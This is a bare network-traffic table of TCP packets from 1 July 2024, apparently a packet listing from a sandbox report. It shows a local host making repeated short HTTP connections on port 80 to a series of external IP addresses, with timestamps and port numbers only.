Jul 1, 2024 16:17:18.409436941 CEST	80	49745	203.161.62.199	192.168.2.5
Jul 1, 2024 16:17:18.997564077 CEST	80	49745	203.161.62.199	192.168.2.5
Jul 1, 2024 16:17:18.998873949 CEST	80	49745	203.161.62.199	192.168.2.5
Jul 1, 2024 16:17:18.998928070 CEST	49745	80	192.168.2.5	203.161.62.199
Jul 1, 2024 16:17:19.910047054 CEST	49745	80	192.168.2.5	203.161.62.199
Jul 1, 2024 16:17:20.926852942 CEST	49746	80	192.168.2.5	203.161.62.199
Jul 1, 2024 16:17:20.931842089 CEST	80	49746	203.161.62.199	192.168.2.5
Jul 1, 2024 16:17:20.931921005 CEST	49746	80	192.168.2.5	203.161.62.199
Jul 1, 2024 16:17:20.934300900 CEST	49746	80	192.168.2.5	203.161.62.199
Jul 1, 2024 16:17:20.939296007 CEST	80	49746	203.161.62.199	192.168.2.5
Jul 1, 2024 16:17:21.528525114 CEST	80	49746	203.161.62.199	192.168.2.5
Jul 1, 2024 16:17:21.530216932 CEST	80	49746	203.161.62.199	192.168.2.5
Jul 1, 2024 16:17:21.530280113 CEST	49746	80	192.168.2.5	203.161.62.199
Jul 1, 2024 16:17:21.531676054 CEST	49746	80	192.168.2.5	203.161.62.199
Jul 1, 2024 16:17:21.537045002 CEST	80	49746	203.161.62.199	192.168.2.5
Jul 1, 2024 16:17:26.697139978 CEST	49747	80	192.168.2.5	74.208.236.72
Jul 1, 2024 16:17:26.702999115 CEST	80	49747	74.208.236.72	192.168.2.5
Jul 1, 2024 16:17:26.703108072 CEST	49747	80	192.168.2.5	74.208.236.72
Jul 1, 2024 16:17:26.707967043 CEST	49747	80	192.168.2.5	74.208.236.72
Jul 1, 2024 16:17:26.715126991 CEST	80	49747	74.208.236.72	192.168.2.5
Jul 1, 2024 16:17:27.231482983 CEST	80	49747	74.208.236.72	192.168.2.5
Jul 1, 2024 16:17:27.231802940 CEST	80	49747	74.208.236.72	192.168.2.5
Jul 1, 2024 16:17:27.231853962 CEST	49747	80	192.168.2.5	74.208.236.72
Jul 1, 2024 16:17:28.219439030 CEST	49747	80	192.168.2.5	74.208.236.72
Jul 1, 2024 16:17:29.240709066 CEST	49748	80	192.168.2.5	74.208.236.72
Jul 1, 2024 16:17:29.245527029 CEST	80	49748	74.208.236.72	192.168.2.5
Jul 1, 2024 16:17:29.245604992 CEST	49748	80	192.168.2.5	74.208.236.72
Jul 1, 2024 16:17:29.248939991 CEST	49748	80	192.168.2.5	74.208.236.72
Jul 1, 2024 16:17:29.256118059 CEST	80	49748	74.208.236.72	192.168.2.5
Jul 1, 2024 16:17:29.779887915 CEST	80	49748	74.208.236.72	192.168.2.5
Jul 1, 2024 16:17:29.780077934 CEST	80	49748	74.208.236.72	192.168.2.5
Jul 1, 2024 16:17:29.780158043 CEST	49748	80	192.168.2.5	74.208.236.72
Jul 1, 2024 16:17:30.750695944 CEST	49748	80	192.168.2.5	74.208.236.72
Jul 1, 2024 16:17:31.769987106 CEST	49749	80	192.168.2.5	74.208.236.72
Jul 1, 2024 16:17:31.775090933 CEST	80	49749	74.208.236.72	192.168.2.5
Jul 1, 2024 16:17:31.775161982 CEST	49749	80	192.168.2.5	74.208.236.72
Jul 1, 2024 16:17:31.777240038 CEST	49749	80	192.168.2.5	74.208.236.72
Jul 1, 2024 16:17:31.782124043 CEST	80	49749	74.208.236.72	192.168.2.5
Jul 1, 2024 16:17:31.782246113 CEST	80	49749	74.208.236.72	192.168.2.5
Jul 1, 2024 16:17:32.310808897 CEST	80	49749	74.208.236.72	192.168.2.5
Jul 1, 2024 16:17:32.310872078 CEST	80	49749	74.208.236.72	192.168.2.5
Jul 1, 2024 16:17:32.312638044 CEST	49749	80	192.168.2.5	74.208.236.72
Jul 1, 2024 16:17:33.281980991 CEST	49749	80	192.168.2.5	74.208.236.72
Jul 1, 2024 16:17:34.304009914 CEST	49750	80	192.168.2.5	74.208.236.72
Jul 1, 2024 16:17:34.309771061 CEST	80	49750	74.208.236.72	192.168.2.5
Jul 1, 2024 16:17:34.309971094 CEST	49750	80	192.168.2.5	74.208.236.72
Jul 1, 2024 16:17:34.312062025 CEST	49750	80	192.168.2.5	74.208.236.72
Jul 1, 2024 16:17:34.316946030 CEST	80	49750	74.208.236.72	192.168.2.5
Jul 1, 2024 16:17:34.878957987 CEST	80	49750	74.208.236.72	192.168.2.5
Jul 1, 2024 16:17:34.879153013 CEST	80	49750	74.208.236.72	192.168.2.5
Jul 1, 2024 16:17:34.879384995 CEST	49750	80	192.168.2.5	74.208.236.72
Jul 1, 2024 16:17:34.882210016 CEST	49750	80	192.168.2.5	74.208.236.72
Jul 1, 2024 16:17:34.887111902 CEST	80	49750	74.208.236.72	192.168.2.5
Jul 1, 2024 16:17:40.355973959 CEST	49751	80	192.168.2.5	192.207.62.21
Jul 1, 2024 16:17:40.372585058 CEST	80	49751	192.207.62.21	192.168.2.5
Jul 1, 2024 16:17:40.376034021 CEST	49751	80	192.168.2.5	192.207.62.21
Jul 1, 2024 16:17:40.379960060 CEST	49751	80	192.168.2.5	192.207.62.21
Jul 1, 2024 16:17:40.385116100 CEST	80	49751	192.207.62.21	192.168.2.5
Jul 1, 2024 16:17:40.961719990 CEST	80	49751	192.207.62.21	192.168.2.5
Jul 1, 2024 16:17:40.961770058 CEST	80	49751	192.207.62.21	192.168.2.5
Jul 1, 2024 16:17:40.961837053 CEST	49751	80	192.168.2.5	192.207.62.21
Jul 1, 2024 16:17:41.891501904 CEST	49751	80	192.168.2.5	192.207.62.21
Jul 1, 2024 16:17:42.911977053 CEST	49752	80	192.168.2.5	192.207.62.21
Jul 1, 2024 16:17:42.916909933 CEST	80	49752	192.207.62.21	192.168.2.5
Jul 1, 2024 16:17:42.920011044 CEST	49752	80	192.168.2.5	192.207.62.21
Jul 1, 2024 16:17:42.922319889 CEST	49752	80	192.168.2.5	192.207.62.21
Jul 1, 2024 16:17:42.927087069 CEST	80	49752	192.207.62.21	192.168.2.5
Jul 1, 2024 16:17:43.529786110 CEST	80	49752	192.207.62.21	192.168.2.5
Jul 1, 2024 16:17:43.529813051 CEST	80	49752	192.207.62.21	192.168.2.5
Jul 1, 2024 16:17:43.529900074 CEST	49752	80	192.168.2.5	192.207.62.21
Jul 1, 2024 16:17:44.438220978 CEST	49752	80	192.168.2.5	192.207.62.21
Jul 1, 2024 16:17:45.458077908 CEST	49753	80	192.168.2.5	192.207.62.21
Jul 1, 2024 16:17:45.463601112 CEST	80	49753	192.207.62.21	192.168.2.5
Jul 1, 2024 16:17:45.463677883 CEST	49753	80	192.168.2.5	192.207.62.21
Jul 1, 2024 16:17:45.466121912 CEST	49753	80	192.168.2.5	192.207.62.21
Jul 1, 2024 16:17:45.471714020 CEST	80	49753	192.207.62.21	192.168.2.5
Jul 1, 2024 16:17:45.471998930 CEST	80	49753	192.207.62.21	192.168.2.5
Jul 1, 2024 16:17:46.124095917 CEST	80	49753	192.207.62.21	192.168.2.5
Jul 1, 2024 16:17:46.124135017 CEST	80	49753	192.207.62.21	192.168.2.5
Jul 1, 2024 16:17:46.126188040 CEST	49753	80	192.168.2.5	192.207.62.21
Jul 1, 2024 16:17:46.969721079 CEST	49753	80	192.168.2.5	192.207.62.21
Jul 1, 2024 16:17:47.990847111 CEST	49754	80	192.168.2.5	192.207.62.21
Jul 1, 2024 16:17:47.995851994 CEST	80	49754	192.207.62.21	192.168.2.5
Jul 1, 2024 16:17:47.997961044 CEST	49754	80	192.168.2.5	192.207.62.21
Jul 1, 2024 16:17:47.997961044 CEST	49754	80	192.168.2.5	192.207.62.21
Jul 1, 2024 16:17:48.003443003 CEST	80	49754	192.207.62.21	192.168.2.5
Jul 1, 2024 16:17:48.596379042 CEST	80	49754	192.207.62.21	192.168.2.5
Jul 1, 2024 16:17:48.596417904 CEST	80	49754	192.207.62.21	192.168.2.5
Jul 1, 2024 16:17:48.596596003 CEST	80	49754	192.207.62.21	192.168.2.5
Jul 1, 2024 16:17:48.596720934 CEST	49754	80	192.168.2.5	192.207.62.21
Jul 1, 2024 16:17:48.596831083 CEST	49754	80	192.168.2.5	192.207.62.21
Jul 1, 2024 16:17:48.599519014 CEST	49754	80	192.168.2.5	192.207.62.21
Jul 1, 2024 16:17:48.604666948 CEST	80	49754	192.207.62.21	192.168.2.5
Jul 1, 2024 16:17:54.086344957 CEST	49755	80	192.168.2.5	199.59.243.226
Jul 1, 2024 16:17:54.091176033 CEST	80	49755	199.59.243.226	192.168.2.5
Jul 1, 2024 16:17:54.092051029 CEST	49755	80	192.168.2.5	199.59.243.226
Jul 1, 2024 16:17:54.095976114 CEST	49755	80	192.168.2.5	199.59.243.226
Jul 1, 2024 16:17:54.100742102 CEST	80	49755	199.59.243.226	192.168.2.5
Jul 1, 2024 16:17:54.566551924 CEST	80	49755	199.59.243.226	192.168.2.5
Jul 1, 2024 16:17:54.566566944 CEST	80	49755	199.59.243.226	192.168.2.5
Jul 1, 2024 16:17:54.566576958 CEST	80	49755	199.59.243.226	192.168.2.5
Jul 1, 2024 16:17:54.566713095 CEST	49755	80	192.168.2.5	199.59.243.226
Jul 1, 2024 16:17:55.610253096 CEST	49755	80	192.168.2.5	199.59.243.226
Jul 1, 2024 16:17:56.631984949 CEST	49756	80	192.168.2.5	199.59.243.226
Jul 1, 2024 16:17:56.637126923 CEST	80	49756	199.59.243.226	192.168.2.5
Jul 1, 2024 16:17:56.638112068 CEST	49756	80	192.168.2.5	199.59.243.226
Jul 1, 2024 16:17:56.643054008 CEST	49756	80	192.168.2.5	199.59.243.226
Jul 1, 2024 16:17:56.647942066 CEST	80	49756	199.59.243.226	192.168.2.5
Jul 1, 2024 16:17:57.103627920 CEST	80	49756	199.59.243.226	192.168.2.5
Jul 1, 2024 16:17:57.103652954 CEST	80	49756	199.59.243.226	192.168.2.5
Jul 1, 2024 16:17:57.103703976 CEST	49756	80	192.168.2.5	199.59.243.226
Jul 1, 2024 16:17:57.103719950 CEST	80	49756	199.59.243.226	192.168.2.5
Jul 1, 2024 16:17:57.103765965 CEST	49756	80	192.168.2.5	199.59.243.226
Jul 1, 2024 16:17:58.141344070 CEST	49756	80	192.168.2.5	199.59.243.226
Jul 1, 2024 16:17:59.161892891 CEST	49757	80	192.168.2.5	199.59.243.226
Jul 1, 2024 16:17:59.166946888 CEST	80	49757	199.59.243.226	192.168.2.5
Jul 1, 2024 16:17:59.167028904 CEST	49757	80	192.168.2.5	199.59.243.226
Jul 1, 2024 16:17:59.170070887 CEST	49757	80	192.168.2.5	199.59.243.226
Jul 1, 2024 16:17:59.175156116 CEST	80	49757	199.59.243.226	192.168.2.5
Jul 1, 2024 16:17:59.175291061 CEST	80	49757	199.59.243.226	192.168.2.5
Jul 1, 2024 16:17:59.644108057 CEST	80	49757	199.59.243.226	192.168.2.5
Jul 1, 2024 16:17:59.644196987 CEST	80	49757	199.59.243.226	192.168.2.5
Jul 1, 2024 16:17:59.644232988 CEST	80	49757	199.59.243.226	192.168.2.5
Jul 1, 2024 16:17:59.644268036 CEST	49757	80	192.168.2.5	199.59.243.226
Jul 1, 2024 16:17:59.644305944 CEST	49757	80	192.168.2.5	199.59.243.226
Jul 1, 2024 16:18:00.672576904 CEST	49757	80	192.168.2.5	199.59.243.226
Jul 1, 2024 16:18:01.692975044 CEST	49758	80	192.168.2.5	199.59.243.226
Jul 1, 2024 16:18:01.699569941 CEST	80	49758	199.59.243.226	192.168.2.5
Jul 1, 2024 16:18:01.699639082 CEST	49758	80	192.168.2.5	199.59.243.226
Jul 1, 2024 16:18:01.702274084 CEST	49758	80	192.168.2.5	199.59.243.226
Jul 1, 2024 16:18:01.709466934 CEST	80	49758	199.59.243.226	192.168.2.5
Jul 1, 2024 16:18:02.193284035 CEST	80	49758	199.59.243.226	192.168.2.5
Jul 1, 2024 16:18:02.193368912 CEST	80	49758	199.59.243.226	192.168.2.5
Jul 1, 2024 16:18:02.193377018 CEST	80	49758	199.59.243.226	192.168.2.5
Jul 1, 2024 16:18:02.193986893 CEST	49758	80	192.168.2.5	199.59.243.226
Jul 1, 2024 16:18:02.198219061 CEST	49758	80	192.168.2.5	199.59.243.226
Jul 1, 2024 16:18:02.203052044 CEST	80	49758	199.59.243.226	192.168.2.5
Jul 1, 2024 16:18:07.339035034 CEST	49759	80	192.168.2.5	45.207.12.95
Jul 1, 2024 16:18:07.343945980 CEST	80	49759	45.207.12.95	192.168.2.5
Jul 1, 2024 16:18:07.344031096 CEST	49759	80	192.168.2.5	45.207.12.95
Jul 1, 2024 16:18:07.346514940 CEST	49759	80	192.168.2.5	45.207.12.95
Jul 1, 2024 16:18:07.351342916 CEST	80	49759	45.207.12.95	192.168.2.5
Jul 1, 2024 16:18:08.266159058 CEST	80	49759	45.207.12.95	192.168.2.5
Jul 1, 2024 16:18:08.266400099 CEST	80	49759	45.207.12.95	192.168.2.5
Jul 1, 2024 16:18:08.266525030 CEST	49759	80	192.168.2.5	45.207.12.95
Jul 1, 2024 16:18:08.860071898 CEST	49759	80	192.168.2.5	45.207.12.95
Jul 1, 2024 16:18:09.879092932 CEST	49760	80	192.168.2.5	45.207.12.95
Jul 1, 2024 16:18:09.884064913 CEST	80	49760	45.207.12.95	192.168.2.5
Jul 1, 2024 16:18:09.884154081 CEST	49760	80	192.168.2.5	45.207.12.95
Jul 1, 2024 16:18:09.886069059 CEST	49760	80	192.168.2.5	45.207.12.95
Jul 1, 2024 16:18:09.890916109 CEST	80	49760	45.207.12.95	192.168.2.5
Jul 1, 2024 16:18:10.806495905 CEST	80	49760	45.207.12.95	192.168.2.5
Jul 1, 2024 16:18:10.806607962 CEST	80	49760	45.207.12.95	192.168.2.5
Jul 1, 2024 16:18:10.808104992 CEST	49760	80	192.168.2.5	45.207.12.95
Jul 1, 2024 16:18:11.391294003 CEST	49760	80	192.168.2.5	45.207.12.95
Jul 1, 2024 16:18:12.410413027 CEST	49761	80	192.168.2.5	45.207.12.95
Jul 1, 2024 16:18:12.415347099 CEST	80	49761	45.207.12.95	192.168.2.5
Jul 1, 2024 16:18:12.415458918 CEST	49761	80	192.168.2.5	45.207.12.95
Jul 1, 2024 16:18:12.417527914 CEST	49761	80	192.168.2.5	45.207.12.95
Jul 1, 2024 16:18:12.422604084 CEST	80	49761	45.207.12.95	192.168.2.5
Jul 1, 2024 16:18:12.422661066 CEST	80	49761	45.207.12.95	192.168.2.5
Jul 1, 2024 16:18:13.333486080 CEST	80	49761	45.207.12.95	192.168.2.5
Jul 1, 2024 16:18:13.333591938 CEST	80	49761	45.207.12.95	192.168.2.5
Jul 1, 2024 16:18:13.333646059 CEST	49761	80	192.168.2.5	45.207.12.95
Jul 1, 2024 16:18:13.922626019 CEST	49761	80	192.168.2.5	45.207.12.95
Jul 1, 2024 16:18:14.941421986 CEST	49762	80	192.168.2.5	45.207.12.95
Jul 1, 2024 16:18:14.946348906 CEST	80	49762	45.207.12.95	192.168.2.5
Jul 1, 2024 16:18:14.946831942 CEST	49762	80	192.168.2.5	45.207.12.95
Jul 1, 2024 16:18:14.951992989 CEST	49762	80	192.168.2.5	45.207.12.95
Jul 1, 2024 16:18:14.956815004 CEST	80	49762	45.207.12.95	192.168.2.5
Jul 1, 2024 16:18:15.845623016 CEST	80	49762	45.207.12.95	192.168.2.5
Jul 1, 2024 16:18:15.845684052 CEST	80	49762	45.207.12.95	192.168.2.5
Jul 1, 2024 16:18:15.845978975 CEST	49762	80	192.168.2.5	45.207.12.95
Jul 1, 2024 16:18:15.848808050 CEST	49762	80	192.168.2.5	45.207.12.95
Jul 1, 2024 16:18:15.853596926 CEST	80	49762	45.207.12.95	192.168.2.5
Jul 1, 2024 16:18:21.021303892 CEST	49763	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:21.026185036 CEST	80	49763	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:21.026278019 CEST	49763	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:21.028650999 CEST	49763	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:21.033495903 CEST	80	49763	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:21.713047981 CEST	80	49763	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:21.713067055 CEST	80	49763	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:21.713078976 CEST	80	49763	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:21.713089943 CEST	80	49763	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:21.713099003 CEST	80	49763	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:21.713109970 CEST	80	49763	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:21.713129044 CEST	49763	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:21.713252068 CEST	49763	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:22.531989098 CEST	49763	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:23.551806927 CEST	49764	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:23.556699038 CEST	80	49764	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:23.556778908 CEST	49764	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:23.559108973 CEST	49764	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:23.563922882 CEST	80	49764	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:24.248047113 CEST	80	49764	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:24.248069048 CEST	80	49764	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:24.248081923 CEST	80	49764	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:24.248126984 CEST	80	49764	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:24.248162985 CEST	49764	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:24.248225927 CEST	49764	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:24.248239040 CEST	80	49764	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:24.248353004 CEST	80	49764	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:24.252038002 CEST	49764	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:25.063317060 CEST	49764	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:26.081911087 CEST	49765	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:26.086894035 CEST	80	49765	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:26.088108063 CEST	49765	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:26.091989994 CEST	49765	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:26.096746922 CEST	80	49765	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:26.096880913 CEST	80	49765	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:26.795411110 CEST	80	49765	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:26.795455933 CEST	80	49765	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:26.795474052 CEST	80	49765	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:26.795552015 CEST	49765	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:26.795705080 CEST	80	49765	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:26.795865059 CEST	49765	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:26.795875072 CEST	80	49765	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:26.796101093 CEST	80	49765	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:26.800085068 CEST	49765	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:27.594381094 CEST	49765	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:28.622030020 CEST	49766	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:28.627051115 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:28.632405043 CEST	49766	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:28.632405043 CEST	49766	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:28.637330055 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.343560934 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.343588114 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.343597889 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.343655109 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.343667030 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.343678951 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.343732119 CEST	49766	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:29.343794107 CEST	49766	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:29.343893051 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.343904972 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.343916893 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.343928099 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.343945026 CEST	49766	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:29.343970060 CEST	49766	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:29.348726034 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.348788977 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.348877907 CEST	49766	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:29.349188089 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.391191959 CEST	49766	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:29.442713976 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.455950975 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.455985069 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.455997944 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.456008911 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.456023932 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.456041098 CEST	49766	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:29.456063986 CEST	49766	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:29.456147909 CEST	49766	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:29.456381083 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.456393957 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.456408024 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.456444025 CEST	49766	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:29.456757069 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:29.456809044 CEST	49766	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:29.468863010 CEST	49766	80	192.168.2.5	81.95.96.29
Jul 1, 2024 16:18:29.473695040 CEST	80	49766	81.95.96.29	192.168.2.5
Jul 1, 2024 16:18:35.359211922 CEST	49767	80	192.168.2.5	103.224.182.246
Jul 1, 2024 16:18:35.364118099 CEST	80	49767	103.224.182.246	192.168.2.5
Jul 1, 2024 16:18:35.364186049 CEST	49767	80	192.168.2.5	103.224.182.246
Jul 1, 2024 16:18:35.366411924 CEST	49767	80	192.168.2.5	103.224.182.246
Jul 1, 2024 16:18:35.371332884 CEST	80	49767	103.224.182.246	192.168.2.5
Jul 1, 2024 16:18:35.999718904 CEST	80	49767	103.224.182.246	192.168.2.5
Jul 1, 2024 16:18:36.000441074 CEST	80	49767	103.224.182.246	192.168.2.5
Jul 1, 2024 16:18:36.000507116 CEST	49767	80	192.168.2.5	103.224.182.246
Jul 1, 2024 16:18:36.875641108 CEST	49767	80	192.168.2.5	103.224.182.246
Jul 1, 2024 16:18:37.894439936 CEST	49768	80	192.168.2.5	103.224.182.246
Jul 1, 2024 16:18:37.899331093 CEST	80	49768	103.224.182.246	192.168.2.5
Jul 1, 2024 16:18:37.899425983 CEST	49768	80	192.168.2.5	103.224.182.246
Jul 1, 2024 16:18:37.901422977 CEST	49768	80	192.168.2.5	103.224.182.246
Jul 1, 2024 16:18:37.906630039 CEST	80	49768	103.224.182.246	192.168.2.5
Jul 1, 2024 16:18:38.533639908 CEST	80	49768	103.224.182.246	192.168.2.5
Jul 1, 2024 16:18:38.534405947 CEST	80	49768	103.224.182.246	192.168.2.5
Jul 1, 2024 16:18:38.536072969 CEST	49768	80	192.168.2.5	103.224.182.246
Jul 1, 2024 16:18:39.408171892 CEST	49768	80	192.168.2.5	103.224.182.246
Jul 1, 2024 16:18:40.456446886 CEST	49769	80	192.168.2.5	103.224.182.246
Jul 1, 2024 16:18:40.463553905 CEST	80	49769	103.224.182.246	192.168.2.5
Jul 1, 2024 16:18:40.466773987 CEST	49769	80	192.168.2.5	103.224.182.246
Jul 1, 2024 16:18:40.486275911 CEST	49769	80	192.168.2.5	103.224.182.246
Jul 1, 2024 16:18:40.491156101 CEST	80	49769	103.224.182.246	192.168.2.5
Jul 1, 2024 16:18:40.492057085 CEST	80	49769	103.224.182.246	192.168.2.5
Jul 1, 2024 16:18:41.086306095 CEST	80	49769	103.224.182.246	192.168.2.5
Jul 1, 2024 16:18:41.086344004 CEST	80	49769	103.224.182.246	192.168.2.5
Jul 1, 2024 16:18:41.086400986 CEST	49769	80	192.168.2.5	103.224.182.246
Jul 1, 2024 16:18:42.000694036 CEST	49769	80	192.168.2.5	103.224.182.246
Jul 1, 2024 16:18:43.027993917 CEST	49770	80	192.168.2.5	103.224.182.246
Jul 1, 2024 16:18:43.032840967 CEST	80	49770	103.224.182.246	192.168.2.5
Jul 1, 2024 16:18:43.036092043 CEST	49770	80	192.168.2.5	103.224.182.246
Jul 1, 2024 16:18:43.039994001 CEST	49770	80	192.168.2.5	103.224.182.246
Jul 1, 2024 16:18:43.045306921 CEST	80	49770	103.224.182.246	192.168.2.5
Jul 1, 2024 16:18:43.638958931 CEST	80	49770	103.224.182.246	192.168.2.5
Jul 1, 2024 16:18:43.639575958 CEST	80	49770	103.224.182.246	192.168.2.5
Jul 1, 2024 16:18:43.639673948 CEST	49770	80	192.168.2.5	103.224.182.246
Jul 1, 2024 16:18:43.641834974 CEST	49770	80	192.168.2.5	103.224.182.246
Jul 1, 2024 16:18:43.647058010 CEST	80	49770	103.224.182.246	192.168.2.5
Jul 1, 2024 16:18:48.825427055 CEST	49771	80	192.168.2.5	72.52.179.174
Jul 1, 2024 16:18:48.830413103 CEST	80	49771	72.52.179.174	192.168.2.5
Jul 1, 2024 16:18:48.832214117 CEST	49771	80	192.168.2.5	72.52.179.174
Jul 1, 2024 16:18:48.836009979 CEST	49771	80	192.168.2.5	72.52.179.174
Jul 1, 2024 16:18:48.843064070 CEST	80	49771	72.52.179.174	192.168.2.5
Jul 1, 2024 16:18:49.369935036 CEST	80	49771	72.52.179.174	192.168.2.5
Jul 1, 2024 16:18:49.369998932 CEST	49771	80	192.168.2.5	72.52.179.174
Jul 1, 2024 16:18:50.344419003 CEST	49771	80	192.168.2.5	72.52.179.174
Jul 1, 2024 16:18:50.349920034 CEST	80	49771	72.52.179.174	192.168.2.5
Jul 1, 2024 16:18:51.364438057 CEST	49772	80	192.168.2.5	72.52.179.174
Jul 1, 2024 16:18:51.370407104 CEST	80	49772	72.52.179.174	192.168.2.5
Jul 1, 2024 16:18:51.370474100 CEST	49772	80	192.168.2.5	72.52.179.174
Jul 1, 2024 16:18:51.373471022 CEST	49772	80	192.168.2.5	72.52.179.174
Jul 1, 2024 16:18:51.381607056 CEST	80	49772	72.52.179.174	192.168.2.5
Jul 1, 2024 16:18:51.936453104 CEST	80	49772	72.52.179.174	192.168.2.5
Jul 1, 2024 16:18:51.936502934 CEST	49772	80	192.168.2.5	72.52.179.174
Jul 1, 2024 16:18:52.878485918 CEST	49772	80	192.168.2.5	72.52.179.174
Jul 1, 2024 16:18:52.883471966 CEST	80	49772	72.52.179.174	192.168.2.5
Jul 1, 2024 16:18:53.894709110 CEST	49773	80	192.168.2.5	72.52.179.174
Jul 1, 2024 16:18:53.899771929 CEST	80	49773	72.52.179.174	192.168.2.5
Jul 1, 2024 16:18:53.899858952 CEST	49773	80	192.168.2.5	72.52.179.174
Jul 1, 2024 16:18:53.901906013 CEST	49773	80	192.168.2.5	72.52.179.174
Jul 1, 2024 16:18:53.911834955 CEST	80	49773	72.52.179.174	192.168.2.5
Jul 1, 2024 16:18:53.911856890 CEST	80	49773	72.52.179.174	192.168.2.5
Jul 1, 2024 16:18:54.426141977 CEST	80	49773	72.52.179.174	192.168.2.5
Jul 1, 2024 16:18:54.426392078 CEST	49773	80	192.168.2.5	72.52.179.174
Jul 1, 2024 16:18:55.406965971 CEST	49773	80	192.168.2.5	72.52.179.174
Jul 1, 2024 16:18:55.411771059 CEST	80	49773	72.52.179.174	192.168.2.5
Jul 1, 2024 16:18:56.428102970 CEST	49774	80	192.168.2.5	72.52.179.174
Jul 1, 2024 16:18:56.433803082 CEST	80	49774	72.52.179.174	192.168.2.5
Jul 1, 2024 16:18:56.437958002 CEST	49774	80	192.168.2.5	72.52.179.174
Jul 1, 2024 16:18:56.437958002 CEST	49774	80	192.168.2.5	72.52.179.174
Jul 1, 2024 16:18:56.443196058 CEST	80	49774	72.52.179.174	192.168.2.5
Jul 1, 2024 16:18:57.446877956 CEST	80	49774	72.52.179.174	192.168.2.5
